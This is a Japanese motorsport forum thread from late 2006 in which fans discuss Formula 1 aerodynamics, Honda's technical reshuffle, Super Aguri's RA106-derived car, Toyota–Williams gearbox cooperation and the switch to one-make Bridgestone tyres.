290 :音速の名無しさん:2006/11/24(金) 01:04:59 ID:hY1hNSyw0
早くテスト開始しないかな・・・

291 :音速の名無しさん:2006/11/25(土) 01:59:31 ID:SwM5zDN+0
空力に関してはアグリの方がセンスあるような気がするけどな…

292 :フラッド ◆qNBVIjZucY :2006/11/25(土) 09:15:34 ID:iMJ6kHzI0
Arrowsと比べてか?

時代が異なるのに比べてどうする。

293 :フラッド ◆qNBVIjZucY :2006/11/25(土) 09:16:17 ID:iMJ6kHzI0
ん?
ホンダと比べてか?

294 :音速の名無しさん:2006/11/25(土) 10:31:22 ID:i+YgvnaA0
>>292-293

とりあえずもちつけw

文脈から見てHONDA陣営よりと見てたんだけど違うのか?

295 :音速の名無しさん:2006/11/25(土) 11:25:00 ID:kwtex8gQ0
ウィリス抜けてどうなるかな?大差ないかもしれんけど

296 :音速の名無しさん:2006/11/25(土) 12:01:10 ID:sMHELdhW0
>>295
むしろ良くなったりして

297 :音速の名無しさん:2006/11/25(土) 12:08:41 ID:Pl0PdoSi0
実際抜けてから成績上がったからな
ウィリスは人の言うこと聞かないし、実戦投入まで時間掛けた割に成果が
出ないっていうか、出したときには既に遅い
ちなみに空力チーフの後任はレッドブルから獲得したそうな

298 :音速の名無しさん:2006/11/25(土) 13:29:04 ID:kwtex8gQ0
意地でも作風変えなかったからな、ウィリス

299 :音速の名無しさん:2006/11/25(土) 13:41:49 ID:T2YVT2RG0
ウィリスはたぶんA型

300 :音速の名無しさん:2006/11/25(土) 15:40:10 ID:da4Fu0Nf0
ウィリスがダメだと思ったのはアイディアを出し惜しみしてたと聞いた時
保身はうまいんだろうなこういうやつって

B級チームのやることじゃん
BAR時代はほんと無駄だったな

301 :音速の名無しさん:2006/11/25(土) 17:53:07 ID:kwtex8gQ0
うまくいけば2年後にプロドライブでウィリス作品見れるかもね
外見がRA106とほとんど変わってなかったりしてw

そういや低予算で堅実なマシン作り!が評判だったブルナー先生ってミナルディに復帰したんだっけ?
トヨタ解雇された後足取り掴めてないんだけど

302 :音速の名無しさん:2006/11/25(土) 18:55:57 ID:T2YVT2RG0
裁判どうなったっけ

303 :音速の名無しさん:2006/11/25(土) 21:22:57 ID:kwtex8gQ0
それすら続報無いよね

304 :音速の名無しさん:2006/11/25(土) 23:27:50 ID:xEPUmp8n0
>>297
2005年にもシーズン後半から成績がポンと上がってるから
今年の成績も「ウィリスが抜けたから上がった」と捉えるのは尚早だと思う

305 :音速の名無しさん:2006/11/26(日) 00:20:53 ID:e4RMv+mC0
中本日記とか読んでる分にはウィリスが抜けてスムーズになったと読める気がする


306 :音速の名無しさん:2006/11/26(日) 00:23:45 ID:2WUbRNbr0
>>304
2005年は少なくともハンガリーみたいな状況でも勝てなかったんじゃ?
終盤の速さはかなりのもんだったし(フェラーリは除く)

307 :音速の名無しさん:2006/11/26(日) 00:56:32 ID:ks4XxjRM0
>>306
ハンガリーで勝てたのは運以外の何者でもないでしょ
あのレースのどこに体制の変化を見たの?

308 :音速の名無しさん:2006/11/26(日) 01:10:35 ID:l4HfGnAJ0
レース戦略の組み立て方に変化があったように見えたけどな。俺は。

309 :音速の名無しさん:2006/11/26(日) 01:12:35 ID:cI3PnCfw0
ハンガリーは速さがあったから勝てたでしょ
最終的に運が転がり込んできたものの
04は棚が頑丈すぎたのと取りこぼしたが
05は拾えるポジションにいなかった

310 :音速の名無しさん:2006/11/26(日) 01:20:31 ID:cI3PnCfw0
>>308
同意
今までと違うと感じた。
あとは棚ボタ言うが、近年F1では拾える位置にい続ける力の大切さを味わったよ。
いきなり大当たりすることって以前より減ってない?
何ていうか波乱なく
終始予定調和って感じる。 解析技術が進みすぎたのが原因か?

311 :音速の名無しさん:2006/11/26(日) 01:22:01 ID:016/qdYH0
今までは運があっても優勝できない位置にいたのに、ハンガリー以降は運さえあれば優勝できる位置にいた。
そこが違いなんじゃ。

312 :音速の名無しさん:2006/11/26(日) 01:25:33 ID:ks4XxjRM0
>>311
2004年も含めるとあと1,2台潰れたら優勝って位置に何度もいたと思うけど・・・
何か考え方間違ってる?ウィリスがいたか、抜けたかは関係なくない?

313 :音速の名無しさん:2006/11/26(日) 01:39:12 ID:l4HfGnAJ0
中本氏の発言力が増したというところでは意味はあると思う。

でも確かにウィリスが抜けた事による直接的な効果は早くてニューマシンからだと思う。

314 :音速の名無しさん:2006/11/26(日) 01:44:29 ID:cI3PnCfw0
>>312
つーか04はなぜ早かったのかよく分かってないからね。
中盤に改良型投入して沈んだから終盤に戻したら回復したとかね。あれは奇跡のマシンだよw
あと04は潰れずとも作戦がよければ1,2勝はしたと思う。


保守路線からの脱却を図った矢先だから高く評価されてるんじゃないの?
ハンガリーで予想外に速かった事も大きいが、ピット判断もGJだったと思うよ。
今までだと勝てそうなチャンスを散々糞作戦で潰してきたからね

315 :音速の名無しさん:2006/11/26(日) 02:52:27 ID:D0HL8Y8P0
それに運運いってるが、14番グリッドからの追い上げだしなぁ。
まぁ運も関係あるけど、十分速かったと思うよ。

316 :音速の名無しさん:2006/11/26(日) 03:17:11 ID:ks4XxjRM0
>>314
F3000みたいなマシンから優勝狙えたんじゃないの?ってところまで
持っていったのがウィリスだと思うから
今のウィリスから中本に代わって良かったって流れが納得いかなくてね

>>315
別にホンダの優勝や速かった事を否定してるわけじゃないよ
ただそれを「体制変更の結果だ」って言うのは違うじゃないかと

317 :音速の名無しさん:2006/11/26(日) 04:32:40 ID:fF9d8b/d0
体制変更が納得いかないのは別に個人的意見としてよろし。
私はむしろ逆で、ウィリスより目。あの中本の勝利に飢えた目を見てると(ry
ま、体制変更後は状況が悪くなるどころかむしろ好転して、
敵が潰れたとはいえ14番手から追い上げての優勝だったし、ハンガリー以外でも安定してたし。
要は、ウィリスが抜けても差し障りは無いといえるのでは。
逆にウィリスがチームに残ってたとして、ここ数年のウィリスのテクニカルディレクターとしての
働きを考えると、それはそれでパッとせんというかおそらくコンサバ路線だろうね。

318 :音速の名無しさん:2006/11/26(日) 04:59:57 ID:2WUbRNbr0
>>307
ハンガリー限定の話じゃないけど、フランスあたりまで迷走してた頃に
中本は車のセッティング等を冬のテストの状態に戻せと言い続けてたわけだが
聞き入れられずにいて、中本が指揮するようになってベースを冬の状態に
戻してレースに臨んだら、予想通りだったと
このあたり、ウィリスが意固地で他人の意見を受け入れなかった弊害じゃないかと
そのあともシミレーションの結果で新サスや空力を矢継ぎ早に投入したし
電子制御、ホイールベースの延長とか開発のテンポが一気に上がった

ま、オレの意見よりバトンのシーズン中盤の開発スピードが開幕からあったら
今頃こんな位置には居なかったのにね、と最終戦での言葉に集約されてるかと

319 :音速の名無しさん:2006/11/26(日) 08:50:46 ID:/AKKyBQu0
マシンの性能向上より作戦面での向上のがでかくね?

2004は勝利を捨ててた。2005は何も出来なかった。2006は勝利を拾えた。
この変化は大きいとおも。

320 :音速の名無しさん:2006/11/26(日) 08:52:45 ID:nUNT5q0X0
ホンダのスレでやれ

321 :音速の名無しさん:2006/11/26(日) 09:15:16 ID:/AKKyBQu0
>>320
作戦面になるとスレ違いも甚だしいな、スマソ
ンダヲタは巣に帰るよ

バトソ|   λ.....

322 :音速の名無しさん:2006/11/26(日) 20:16:31 ID:e4RMv+mC0
RA106ロングホイールベース版のアップライトの写真どこにもないねぇ・・・見たいんだけどな

323 :音速の名無しさん:2006/11/27(月) 13:21:31 ID:Vz6wS87UO
フジテレビの川井ちゃんのコーナーにあったはず

324 :音速の名無しさん:2006/11/27(月) 14:09:01 ID:rabcmU9a0
それ以外の写真を見たいって話

325 :音速の名無しさん:2006/11/27(月) 14:13:24 ID:rabcmU9a0
ttp://www.saf1.co.jp/jp/common/img/gallery/festa/05.jpg
サイドポンツーンインテーク周辺をいつの間にか綺麗にしてたのね
ブラジルではレースカーですら分割線目立ってたのに

326 :音速の名無しさん:2006/11/27(月) 17:03:58 ID:Dnrq08vh0
IDEがさみしそうです(´;ω;`)ウッ…

327 :音速の名無しさん:2006/11/27(月) 17:21:44 ID:A9+sKmDl0
井出だけスーツ前期型だしな。

328 :音速の名無しさん:2006/11/27(月) 17:30:21 ID:rabcmU9a0
井出の着てるスーツの方がさっぱりしてて好きなんだけどな・・・
スーツの話はスレ違いか

富士走ったFW28ってトヨタエンジンに積み替えたやつだったんだろうか?

329 :音速の名無しさん:2006/11/27(月) 19:12:26 ID:Ny48HfaI0
>>328
積み替えたやつだね。

330 :音速の名無しさん:2006/11/27(月) 19:28:16 ID:5lx5NCk00
F1関連のスレの中でもどのチームにも傾倒してないスレだからついスレ違いな話もしたくなる。

で、ホンダが新風洞で実はよかったパーツをシーズン半ばに採用してたけど、あれは体制変更とは関係あるだろうか。
新しいの作ってそれを否定されたら、ウィリスみたいな人は良い感じしないだろうけど。

331 :音速の名無しさん:2006/11/27(月) 20:38:37 ID:tvZ6kZGB0
井出のスーツは希少価値ありそうw

332 :音速の名無しさん:2006/11/27(月) 20:58:07 ID:rabcmU9a0
>>329
ありがと、ウィリアムズも奮発したんだなw

>>330
体制変更のネタを出すとまたそれで無駄な議論が・・・
中本氏は「チャレンジして駄目なら許す、はじめから駄目と決めつけるのは良くない」的なこと言ってるからそういうところも出てきたのかもね

333 :音速の名無しさん:2006/11/28(火) 12:43:17 ID:KXYRDQ/w0
トヨタのマシンはどうなるんでしょう。ガスコが抜けた後だけに興味が

334 :音速の名無しさん:2006/11/28(火) 12:49:45 ID:FSfnas6T0
かなり絞られた感じになると思ってたけど
木下が、タイヤが変わってダウンフォース重視に戻るといってたから
もしかしたら、またきのこを栽培することになるのかも?

335 :音速の名無しさん:2006/11/28(火) 14:20:45 ID:mqb5RBdSO
いい加減サイドポンツーンをもっとえぐってくるでしょ

336 :音速の名無しさん:2006/11/28(火) 16:39:37 ID:OBOyNfRP0
バージボードに戻すならね
今はそっちが主流だものね

337 :音速の名無しさん:2006/11/28(火) 19:05:59 ID:1xDkzCYS0
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/0KM2YGW07JOUBL0K7AYV40F91GN5_450.jpg
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/0S0JFGG0EHR9MP00P68LD0GHDZ0H_450.jpg
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/0K3BBB40PRBERK0M64FLS0H49P4X_450.jpg
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/07MDXJ50K580OW089J3LT0QRQ4CG_450.jpg
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/0H31CLD0U1PQBK05QY6810NRWBY8_450.jpg
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/07MDXJ50K580OW089J3LT0QRQ4CG_450.jpg
ttp://www.xpb.cc/thumbnails/2006/f1-2006-bcn04/tu/0H31CLD0U1PQBK05QY6810NRWBY8_450.jpg

338 :音速の名無しさん:2006/11/28(火) 20:03:00 ID:MS21XPy70
サットン見たが、アグリのマシソはRA106か。ただ本家と違い、ミニフラップがついてる

339 :音速の名無しさん:2006/11/28(火) 20:11:43 ID:/OD5JD2D0
例によってホンダのカラーリングが黒一色になってるな。
こっちのほうがかっこいいからシーズン中もいっそこれで走って欲しいもんだ

340 :音速の名無しさん:2006/11/28(火) 20:27:06 ID:OBOyNfRP0
インダクションポッドずいぶんと狭くしたなぁアグリ

341 :音速の名無しさん:2006/11/28(火) 21:29:14 ID:/fHW8kSI0
このFウィングはお蔵入りになったマニクール仕様に近いな
本家と全然違うインダクションポッドなんだな
やっぱこのまま開幕も106使うのか

342 :音速の名無しさん:2006/11/28(火) 21:33:39 ID:OBOyNfRP0
>>341
偽装してるだけで開幕までにはだいぶ変わるでしょ・・・
インダクションポッド不自然だもんね

343 :音速の名無しさん:2006/11/28(火) 21:39:17 ID:ZEbsc/Im0
トロロロッソはまだコスワースなのか。

344 :音速の名無しさん:2006/11/28(火) 21:44:44 ID:v/86oY800
トロロロロロロロロッソ

345 :音速の名無しさん:2006/11/28(火) 21:53:12 ID:OBOyNfRP0
トトロッソ(笑

346 :音速の名無しさん:2006/11/28(火) 22:23:05 ID:0M39OiiP0
RA106ってサイドプロテクターの所にフィンが付いてたんだな。

347 :音速の名無しさん:2006/11/28(火) 22:43:54 ID:OBOyNfRP0
レギュ対策でアレ付けないと違反になっちゃうからね

348 :音速の名無しさん:2006/11/28(火) 23:43:23 ID:i58jZ9Hq0
>>347
たしかサイドプロテクター規制の穴を付くためのパーツだよねアレ。
あとコクピット直前の突起とか。ロールバーの頂点も弄った事があったっけか。

サイドプロテクター装着義務化初年度のフェラーリとウィリアムズの差が…。
今のフェラーリからじゃ考えられないほどの馬鹿正直なというか、
ああいう事があって開眼したというか。

349 :音速の名無しさん:2006/11/28(火) 23:50:56 ID:0q8ZnOfz0
サイドポンツーンも地味に違う気が・・・

350 :音速の名無しさん:2006/11/28(火) 23:52:38 ID:OBOyNfRP0
>>348
そうだね、規制逃れ
02年まではインダクションポッド下にもフィンつけてたけど03年から無くなったようなのもあるし
コクピット前のはF2005にもあったよ、あれフィンていうには太かったけど

351 :音速の名無しさん:2006/11/29(水) 09:25:46 ID:BwZAE/Vk0
ハイノーズ版のRA106がFNチックでなんだかなぁ…。

352 :音速の名無しさん:2006/11/29(水) 19:49:40 ID:A6h229Um0
昨日からRA106がハイノーズ化されたってレス見かけるけどシーズン中と変わってないだろ・・・

353 :音速の名無しさん:2006/11/30(木) 00:48:56 ID:BkNSxH0g0
いや、実際に少しだけハイノーズ化されてるから。
君が見たのはSAF1バージョンのRA106じゃないのか。

354 :音速の名無しさん:2006/11/30(木) 02:20:41 ID:NWgNt9uc0
にしても本家のカラスはほんとに細部が判断しにくいな・・・

355 :音速の名無しさん:2006/11/30(木) 03:22:55 ID:h63Ry53z0
>>353
本家RA106ならなおの事変わってないぞ。カラーリングに惑わされ杉

356 :音速の名無しさん:2006/11/30(木) 08:14:42 ID:zStepOfc0
>>354
それが狙いでもあるんだろね

357 :音速の名無しさん:2006/11/30(木) 09:14:56 ID:BkNSxH0g0
>>355
いやいや、カラーリングじゃなくて実際にノーズが少しだけ上がってるんだが
元々のRA106はもう少しだけノーズが低かった

358 :音速の名無しさん:2006/11/30(木) 09:19:57 ID:BkNSxH0g0
あーでもやっぱ上がってないかなぁ。
でも心なしか上がってるようにも見えなくもない

359 :音速の名無しさん:2006/11/30(木) 10:35:00 ID:nLLNMDmx0
フロントウィングがアグリ製じゃなかったっけ?
それで、そんな風に見えるとか

360 :音速の名無しさん:2006/11/30(木) 11:14:55 ID:Gy3Sef6Q0
トヨタTF107(仮称)が1月12日(金曜)に発表予定だそうな

361 :音速の名無しさん:2006/11/30(木) 11:35:42 ID:NWgNt9uc0
この時期にノーズ上げたモデルは走らせないと思うけどな

362 :音速の名無しさん:2006/11/30(木) 17:53:39 ID:YgjYXY2y0
SA01とRA106とではヘルメット上のエアインテークの形以外違いが判らないんだが・・・

363 :音速の名無しさん:2006/11/30(木) 18:21:46 ID:NWgNt9uc0
写真が少ないからわかんないけどインテークくらいしか外見上は違いないんじゃない?
見づらくて細部が全然わかんないのよね本家orz

364 :音速の名無しさん:2006/11/30(木) 20:18:38 ID:FzwLrpax0
今季ミシュランタイヤユーザーからブリヂストンに不満の声
http://headlines.yahoo.co.jp/hl?a=20061130-00000102-ism-spo

やはりワンメイク化によりタイヤグリップが落とされているみたいだね。
マシン作りにどう影響するか。

365 :音速の名無しさん:2006/11/30(木) 23:56:51 ID:NWgNt9uc0
グリップ落とすためのワンメイクだから
05年みたいにダウンフォース重視のマシン増えるかもね

366 :音速の名無しさん:2006/12/01(金) 01:28:57 ID:J0wcD7260
記事の見出しに悪意を感じるな。
ドライバーはワンメイクでグリップ落としたものと理解した上でコメントしてるのに。
別に不満を言ってるわけじゃない。素人がこれ読んだら勘違いするだろ

367 :音速の名無しさん:2006/12/01(金) 01:33:30 ID:78Fo4gX00
>>365
この冬のテストでタイヤのグリップを見て
どのくらいのダウンフォース付けるかを設定するだろうから
各チームとも結構難しい判断を迫られるだろうね

もちろんベースとなる今季仕様のBSデータを持ってるチームの方が
比較しやすくて有利だろうけど

368 :音速の名無しさん:2006/12/01(金) 01:57:19 ID:26szobVC0
>>364
もうちょっとマシな見出し付ければいいのにな

369 :音速の名無しさん:2006/12/01(金) 05:27:32 ID:pjhmPQXJ0
ハイノーズになってる?
http://www.dotup.org/uploda/www.dotup.org10995.jpg.html

370 :音速の名無しさん:2006/12/01(金) 10:42:13 ID:W77HPov00
なってない・・・と思う。側面の赤い写り込みがある部分もノーズだろ。
しかしカラスは見難いことこの上ないな。カコイイけど。

371 :音速の名無しさん:2006/12/01(金) 11:20:09 ID:VFlIfdS/0
>>366
おもいっきり不満だと思ってた

372 :音速の名無しさん:2006/12/01(金) 12:05:29 ID:26szobVC0
MIからデータ貰って折衷的に作る〜なんてこと出来ないからなBSだって
文句言われるのが不憫だw

373 :音速の名無しさん:2006/12/01(金) 12:24:13 ID:2hSrgUJh0
ブリジストンユーザーに聞いてもグリップ下がったって言うだろうに。
「タイヤワンメイク化で、安全の為にグリップを前年より落としていると見られている」
とか記事でフォローのやりようもあると思うがねぇ。

374 :音速の名無しさん:2006/12/01(金) 12:31:38 ID:MEB98G+60
>>372
MIだのBSだのも問題じゃないんでは?
パワーが下がったりグリップが下がればドライバーは絶対文句言うからね
ブリヂストンユーザーに聞いても同じ事言うと思うよ

375 :音速の名無しさん:2006/12/01(金) 12:46:38 ID:J0wcD7260
>>371
ちなにみこの記事に限定してどこに不満が書いてある?
グリップしないとか滑りやすい、難しいとは書いてあるが、
タイヤが悪いとかクソだとは誰も言ってない。
むしろパフォーマンスを引き出せる自信がある、とポジティブな意見。
きみは小学生からやり直したほうがいいね

376 :音速の名無しさん:2006/12/01(金) 13:10:16 ID:MEB98G+60
プロスポーツなのにこれが悪いとかクソだなんて言えるわけない

レーシングタイヤについて「グリップしない、滑りやすい」と
ドライバーが表現してるときは確実に不満に思ってる

377 :音速の名無しさん:2006/12/01(金) 17:20:27 ID:26szobVC0
開幕戦スペックのタイヤが今試せてるだけでも感謝しなさい

378 :音速の名無しさん:2006/12/01(金) 17:45:54 ID:QCkClu9y0
>>366
同意

379 :音速の名無しさん:2006/12/01(金) 18:23:18 ID:26szobVC0
「F1にサスペンションはなかった」的な記者が書いたんですよw

380 :音速の名無しさん:2006/12/01(金) 19:44:17 ID:TDehtI4v0
>>374
ヂな

381 :音速の名無しさん:2006/12/03(日) 01:43:23 ID:lcPMvVro0
次はヘレスか
ウィリアムズが新型ウィング投入してたって言うけど違いが分からない・・・

382 :音速の名無しさん:2006/12/05(火) 18:29:49 ID:1KXcrFX+0
ttp://www.f1gpnews.com/f1news/2006/12/2_2.html
アグリはRA106を改造するんじゃなくてオリジナルの設計にするってことかな

383 :音速の名無しさん:2006/12/05(火) 18:31:39 ID:y5+ninDH0
ホンダの技術は入るわけだからどの程度になるかな

384 :音速の名無しさん:2006/12/05(火) 18:37:19 ID:vp7+qiJf0
テストしながら必死にスケッチして写し取るんじゃね。

385 :音速の名無しさん:2006/12/05(火) 19:12:38 ID:28qMn+Ul0
>>382
去年トロ・ロッソがRB1使って冬季テストやってたときも
「オリジナルマシン作るよ!」って言ってなかったっけ

386 :音速の名無しさん:2006/12/05(火) 20:07:19 ID:y5+ninDH0
ちなみにトトロッソは今年もそう言ってるw

387 :音速の名無しさん:2006/12/05(火) 21:29:11 ID:lcgNk7Y40
自分のところで焼いたカーボンモノコックだからオリジナルだ、と言い張る
に一票

388 :音速の名無しさん:2006/12/05(火) 21:55:51 ID:y5+ninDH0
そうなる可能性もなきにしもあらず
SAF1が良い意味で期待を裏切ってくれるといいんだけどな・・

389 :音速の名無しさん:2006/12/05(火) 22:03:05 ID:kK3VaLBX0
RA106じゃなくてMP4/21そっくりだったりして。

390 :フラッド ◆qNBVIjZucY :2006/12/05(火) 22:19:44 ID:4xjmJCfn0
そんな余裕も金もないっしょ

391 :音速の名無しさん:2006/12/05(火) 23:37:38 ID:y5+ninDH0
流行はバージボード採用なんだけどな

392 :音速の名無しさん:2006/12/07(木) 00:04:58 ID:FVHUMPMh0
トヨタのサイドポッド変わった?

393 :音速の名無しさん:2006/12/07(木) 00:22:40 ID:ld9YSo2g0
モンタニー車は変わってないようだ
今の時期そんな大幅改良するかね・・・

394 :音速の名無しさん:2006/12/07(木) 00:27:54 ID:0+emnGtH0
今更旧マシンの空力変える必要なんてない罠
この時期のテストは新車の内部コンポーネンツとタイヤの開発なんだし。
変わった変わったって言ってる奴はシーズン中のマシンちゃんと見てるのか?

395 :音速の名無しさん:2006/12/07(木) 01:00:04 ID:ld9YSo2g0
だよな、今変えるなら新車の作業に集中するだろうしな

396 :音速の名無しさん:2006/12/08(金) 18:29:43 ID:plc8XQfu0
ブラジルGP↓
ttp://www.motorsport.com/photos/f1/2006/bra/f1-2006-bra-xp-0223.jpg
昨日のヘレス↓
ttp://www.motorsport.com/photos/f1/2006/gen/f1-2006-gen-xp-3638.jpg

リアウィングに支柱付けてテストしてるのね
どこかの記事によればフロントウィングも改良型らしいんだけどなぁ

397 :音速の名無しさん:2006/12/08(金) 20:27:37 ID:NGUNrY0w0
フェラーリにサイドポンツーンからマモノウィングみたいなのが付いてたのに今気付いた。

398 :音速の名無しさん:2006/12/08(金) 20:42:27 ID:plc8XQfu0
上海から付いてるよ

399 :音速の名無しさん:2006/12/08(金) 21:29:35 ID:NGUNrY0w0
上海からあったんですね。
日本GPでマジかで観たのに気付かなかった。

400 :音速の名無しさん:2006/12/08(金) 21:55:50 ID:plc8XQfu0
むしろ現地で見てるから気が付かないってこともあるわね
ヘアピンで見ててもSA06のセンターウィングにガーニーフラップ付いてるのに気が付かなかったし

401 :音速の名無しさん:2006/12/08(金) 22:19:20 ID:ECItQTaL0
>>394
得意げになにいっちゃってんのこいつww全然わかってないし

402 :音速の名無しさん:2006/12/08(金) 22:45:11 ID:VKL4S5Md0
>>396
あの支柱ってやっぱ意味ありそうだよね
リアウィングのしなりが直接ギアボックス後端を地面に押しつけることになる
わけだから

403 :音速の名無しさん:2006/12/08(金) 23:18:09 ID:plc8XQfu0
>>402
来年から導入するトヨタと共同開発のギアボックスの耐久試験も兼ねてるかもとか思ったり
支柱があると縦方向に力がダイレクトに伝わるし

404 :音速の名無しさん:2006/12/10(日) 11:46:59 ID:SYolYgog0
ageとこう

405 :Afonso Dos Santos:2006/12/10(日) 17:22:34 ID:5c/pBO200
マクラーレンはシングルキールに戻してくるのだろうか。

406 :音速の名無しさん:2006/12/10(日) 17:31:52 ID:r7l3TBvk0
>>396
ホイールの色も変わってるな

407 :音速の名無しさん:2006/12/10(日) 17:48:04 ID:SYolYgog0
>>406
RAYS製に切り替わったんじゃない?

408 :音速の名無しさん:2006/12/10(日) 18:01:03 ID:+VLKICF20
>>403
そういやトヨタって結局シームレス投入出来なかったな

409 :音速の名無しさん:2006/12/10(日) 19:38:37 ID:SYolYgog0
最後までゴタゴタしててシームレスどころじゃなかった様に見えたし

410 :音速の名無しさん:2006/12/10(日) 20:23:27 ID:XMM1evhk0
年中右往左往してたな、去年のTOYOTA…

411 :音速の名無しさん:2006/12/10(日) 21:36:51 ID:YSumvHuT0
ウィリがレイズのホイールを使うってジャパンマネー目的?

412 :音速の名無しさん:2006/12/10(日) 21:41:38 ID:SYolYgog0
むしろレイズがF1に進出したかったんでないの?

413 :音速の名無しさん:2006/12/10(日) 21:47:37 ID:VRodWDa70
>>409-410
だから手っ取り早くウィリアムズのを貰うのかな

414 :音速の名無しさん:2006/12/10(日) 21:53:34 ID:SYolYgog0
>>413
どのみち最近のウィリアムズに負ける様であればワークス参戦する意味なさそうだし

415 :音速の名無しさん:2006/12/11(月) 02:31:52 ID:eK5dPF0s0
勝ち負け以前に存在意味が無い

416 :音速の名無しさん:2006/12/11(月) 11:01:39 ID:IjPpZzop0
俺はヲタでもなけりゃアンチでもないから存在意味まで言及するつもりはないだけだ

417 :音速の名無しさん:2006/12/11(月) 11:25:34 ID:g+SkAr5f0
>>413
ニコはトヨタからエンジンとギアボックスの提供を・・・って言ってたけど
その辺どうなの?

418 :音速の名無しさん:2006/12/11(月) 11:31:42 ID:IjPpZzop0
ギアボックスは共同開発ってどこかの記事に出てたよ
どっちが主導権握ってるとか詳細は部外者には分からないけど

419 :音速の名無しさん:2006/12/11(月) 19:27:34 ID:8mXUu8Oh0
まぁ実戦投入してたのはウィリアムズだし、普通に考えると
ウィリアムズに主導権はありそうだけどね
勿論エンジンメーカーの協力無いとダメなのはわかるけど
確か去年BMWからコスワースに変えて苦労してたみたいだけど

420 :フラッド ◆qNBVIjZucY :2006/12/11(月) 20:56:09 ID:Vaq06zj+0
"確か"なんて言うほど昔じゃないのに・・・

421 :音速の名無しさん:2006/12/11(月) 21:13:04 ID:IjPpZzop0
>>419
BMWと組んでたときはミュンヘンでギアボックス開発もしてたからね

422 :音速の名無しさん:2006/12/11(月) 21:16:35 ID:8mXUu8Oh0
>>420
はいはい、君には遠く及ばない記憶力ですいませんね

423 :フラッド ◆qNBVIjZucY :2006/12/11(月) 21:29:31 ID:Vaq06zj+0


424 :音速の名無しさん:2006/12/11(月) 22:01:19 ID:CY/57RRa0
元々BMWと組んでギヤボックス開発してたものをコスワースエンジン用にするんでの調整に
手間取ったみたいね
BARから移籍したやつが開発したんだっけか
そいつは既にBMWに移籍したけど
ギヤボックスの内部はホンダが作ってたみたいだから似て非なるものなのかな

425 :七資産:2006/12/11(月) 22:02:24 ID:0IwnwFPF0
わろす


426 :七資産:2006/12/11(月) 22:04:21 ID:0IwnwFPF0
音速の名無しさん・。キミライコネンどう思う?


427 :七資産:2006/12/11(月) 22:05:53 ID:0IwnwFPF0
むしか。。。。。。。。。


428 :音速の名無しさん:2006/12/12(火) 00:14:45 ID:alPCzuag0
>>424
構造はある程度掴んでたろうから近いものが出来たのかもしれないよ
ただノウハウが全部把握できてたかどうかってところじゃないかね
どちらにしろワークスと決別しちゃうと大変だよね

429 :音速の名無しさん:2006/12/12(火) 00:16:46 ID:alPCzuag0
ゴメン、ワークスじゃなくてメーカーか

430 :音速の名無しさん:2006/12/12(火) 15:03:37 ID:FLaK94/i0
レッドブルの新車早く見たいのぅ・・・

431 :音速の名無しさん:2006/12/12(火) 17:13:30 ID:alPCzuag0
まぁ2月までお待ち

432 :音速の名無しさん:2006/12/12(火) 21:13:29 ID:VYMdFoDF0
ホンダもVキールとか安全策取り入れればいいのに

433 :音速の名無しさん:2006/12/12(火) 21:18:26 ID:WbqdNu2P0
Vキールが安全策といえるかな。
一見どっちも取り入れたように見えるが、逆に言えばどっちつかず。
サスと空力両方をマッチングさせないといけない。
シングルorゼロキールならどっちかに絞って開発できるし。

434 :音速の名無しさん:2006/12/12(火) 21:31:07 ID:g0Kc+IZt0
キールを重要視し過ぎないほうが良いマシン出来そう。


435 :音速の名無しさん:2006/12/12(火) 21:45:12 ID:alPCzuag0
正直RB2並にでかいとVキールも邪魔そうだ
R26くらい細ければそうでもなさそうに見えるけど

436 :音速の名無しさん:2006/12/12(火) 22:37:58 ID:VYMdFoDF0
ホンダは空力がだらしないから必死でゼロキールいれたんだろうけど、やっぱり基礎に戻ったほうがよさそうな気がするんだよね。

437 :音速の名無しさん:2006/12/12(火) 23:17:59 ID:aXhp1RDX0
多分去年の今頃はセロキールにすべきだよなとか言ってたんだろうな
ま、俺もそうだが

438 :音速の名無しさん:2006/12/12(火) 23:21:14 ID:alPCzuag0
全体のまとまりが重要なんだなってフェラーリ見て思った

439 :音速の名無しさん:2006/12/13(水) 14:30:18 ID:S09BstG7O
>>438
フェラの速さはタイヤと可変ウィングのおかげにしかみえないけどな


440 :音速の名無しさん:2006/12/13(水) 16:21:29 ID:MFS4av2c0
むしろ全体のまとまりならルノーのほうが。

441 :音速の名無しさん:2006/12/13(水) 16:36:27 ID:tWVpIg9rP
>>439
それもフェラが速かった一因だろうが、それだけじゃない何かも
あるんだろうな
そういや2005年はフェラーリのギヤボックスが酷評されていたが、
今年のは出来がよかったのかな?

442 :音速の名無しさん:2006/12/13(水) 17:32:36 ID:wOuuzNQy0
>>441
シームレス使って無くてアレならば出来よかったんじゃないかな?

443 :音速の名無しさん:2006/12/13(水) 18:01:13 ID:BKBqXk5g0
中国からシームレス投入したんだっけ

444 :音速の名無しさん:2006/12/13(水) 20:03:58 ID:wOuuzNQy0
そうだっけ?
ブラウンが中止するって話したことしか覚えてないや・・・

445 :音速の名無しさん:2006/12/14(木) 01:01:37 ID:J8hzqGJh0
Suttonもやけにアグリと本家の細部写真載せてるな・・・

446 :音速の名無しさん:2006/12/14(木) 04:34:41 ID:grR3rp3+0
jerez dec 13
クリエン 午前の速いスティントで20秒台後半から21秒台前半。午後は+1秒増し。
ロシター 全体クリエンとほぼ同じ。午前劣る。22秒台が少ない。21秒台安定
コヴァ  ホンダ勢が出せていない19秒台スティントも、22秒台多い。
バドエル ホンダ勢-0.5
トゥルリ  ホンダ勢+1秒。22秒台中盤多い。
サトー   トゥルリ+0.3。驚いたことに誰よりもタイムのふれが少ない恐ろしく安定。22秒台中盤。
ナカジマ 23秒台多い。



447 :音速の名無しさん:2006/12/14(木) 13:41:03 ID:KeGoDCf30
>>446
安定した佐藤を見ると期待しちゃうよな
これで本当に進化してシケインと呼ばれなくなれば好きになってもいいんだが

448 :音速の名無しさん:2006/12/14(木) 15:37:56 ID:J8hzqGJh0
速いマシンに乗るより遅いマシンに乗った方がのびのび走ってるドライバーっているよね

そういやASの亜久里のインタビュー記事で07年のクラッシュテスト云々って書いてあったけど来年からまたインパクト規定が強くなるのかな

449 :音速の名無しさん:2006/12/16(土) 01:44:11 ID:IxZBT7Ku0
クリエンがRA107のサイドポッドは小さい様なこと言ったらしいけど
FW27みたいなのにはならないでもらいたいな

